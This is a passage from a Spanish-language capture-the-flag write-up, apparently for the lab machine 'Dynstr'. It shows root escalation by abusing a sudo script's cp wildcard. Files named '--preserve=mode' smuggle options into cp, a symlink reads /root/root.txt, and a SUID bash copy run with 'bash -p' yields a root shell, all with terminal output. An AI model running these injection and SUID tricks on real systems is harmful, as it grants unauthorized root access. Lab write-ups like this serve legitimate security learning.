La documentacion de cp indica que la flag --no-preserve se le pueden pasar atributos para no preservar los permisos (ó atributo especificado) a los archivos copiados.

–no-preserve=ATTR_LIST
don’t preserve the specified attributes

Creamos dicha flag con touch con el atributo mode (permisos del archivo), tambien el archivo .version.

1
2
3
4
5
6
7
8
9
bindmgr@dynstr:~/tmp$ touch -- --no-preserve=mode,ownership
bindmgr@dynstr:~/tmp$ echo 1 > .version
bindmgr@dynstr:~/tmp$ ls -lah
total 12K
drwxrwxr-x 2 bindmgr bindmgr 4.0K Jun 19 12:29  .
drwxr-xr-x 6 bindmgr bindmgr 4.0K Jun 19 11:27  ..
-rw-rw-r-- 1 bindmgr bindmgr    0 Jun 19 12:29 '--no-preserve=mode'
-rw-rw-r-- 1 bindmgr bindmgr    2 Jun 19 12:29  .version
bindmgr@dynstr:~/tmp$

Como sabemos, el script copia todos los archivos de la carpeta, creamos un enlace simbolico utilizando ln apuntando al archivo root.txt.

1
2
3
4
5
6
7
8
9
bindmgr@dynstr:~/tmp$ ln -s /root/root.txt
bindmgr@dynstr:~/tmp$ ls -lah
total 12K
drwxrwxr-x 2 bindmgr bindmgr 4.0K Jun 19 12:31  .
drwxr-xr-x 6 bindmgr bindmgr 4.0K Jun 19 11:27  ..
-rw-rw-r-- 1 bindmgr bindmgr    0 Jun 19 12:29 '--no-preserve=mode'
lrwxrwxrwx 1 bindmgr bindmgr   14 Jun 19 12:31  root.txt -> /root/root.txt
-rw-rw-r-- 1 bindmgr bindmgr    2 Jun 19 12:29  .version
bindmgr@dynstr:~/tmp$

Ejecutamos el script y logramos leer la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
bindmgr@dynstr:~/tmp$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/tmp.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
    /etc/bind/named.conf.bindmgr:2: open: /etc/bind/named.bindmgr/--no-preserve=mode: file not found
bindmgr@dynstr:~/tmp$ ls -lah /etc/bind/named.bindmgr/
total 16K
drwxr-sr-x 2 root bind 4.0K Jun 19 12:32 .
drwxr-sr-x 3 root bind 4.0K Jun 19 12:32 ..
-rw-r--r-- 1 root bind   33 Jun 19 12:32 root.txt
-rw-r--r-- 1 root bind    2 Jun 19 12:32 .version
bindmgr@dynstr:~/tmp$ cat /etc/bind/named.bindmgr/root.txt
e95e1a6152fa877924feaee64aeb4386
bindmgr@dynstr:~/tmp$

Shell

De la misma forma utilizamos una wildcard, en este caso --preserve con la opcion mode para obtener una copia de bash con los permisos root, de cierta forma estamos “creando” un archivo con permisos SUID, en el caso de --preserve=mode estaria “proporcionando” los permisos root (el usuario propietario (u)) y de nuestra parte estariamos activando el bit SUID (activar el bit SUID o SGID para ejecución (s)), por lo tanto quedaria de la siguiente forma si fuera con chmod: chmod u+s <archivo>.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
bindmgr@dynstr:~/temp$ cp /bin/bash .
bindmgr@dynstr:~/temp$ chmod +u bash
bindmgr@dynstr:~/temp$ ls
bash  root.txt
bindmgr@dynstr:~/temp$ touch -- --preserve=mode
bindmgr@dynstr:~/temp$ echo 99 > .version
bindmgr@dynstr:~/temp$ ls -lah bash
-rwxr-xr-x 1 bindmgr bindmgr 1.2M Jun 19 01:37 bash
bindmgr@dynstr:~/temp$ chmod +s bash
bindmgr@dynstr:~/temp$ ls -lah bash
-rwsr-sr-x 1 bindmgr bindmgr 1.2M Jun 19 01:37 bash
bindmgr@dynstr:~/temp$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/temp.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
    /etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'
    /etc/bind/named.bindmgr/bash:14: unknown option 'hȀE�'
    /etc/bind/named.bindmgr/bash:40: unknown option '�F'
    /etc/bind/named.bindmgr/bash:40: unexpected token near '}'
bindmgr@dynstr:~/temp$ ls -lah /etc/bind/named.bindmgr/bash
-rwsr-sr-x 1 root bind 1.2M Jun 19 01:38 /etc/bind/named.bindmgr/bash

En este caso tendriamos una copia de bash con permisos SUID, por lo que ejecutamos bash -p para obtener una shell con permisos root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
bindmgr@dynstr:~/temp$ /etc/bind/named.bindmgr/bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) egid=117(bind) groups=117(bind),1001(bindmgr)
bash-5.0# cd /root
bash-5.0# ls -lah
total 36K
drwx------  5 root root 4.0K May 25 14:05 .
drwxr-xr-x 18 root root 4.0K May 25 14:52 ..
lrwxrwxrwx  1 root root    9 Mar 20 14:05 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Dec  5  2019 .bashrc
drwx------  2 root root 4.0K Mar 15 21:24 .cache
drwxr-xr-x  4 root root 4.0K Mar 14 14:18 cleanup
drwxr-xr-x  3 root root 4.0K May 25 14:05 .local
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-r--------  1 root root   33 Jun 19 01:15 root.txt
-rw-r--r--  1 root root   74 Mar 15 20:10 .selected_editor
bash-5.0#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe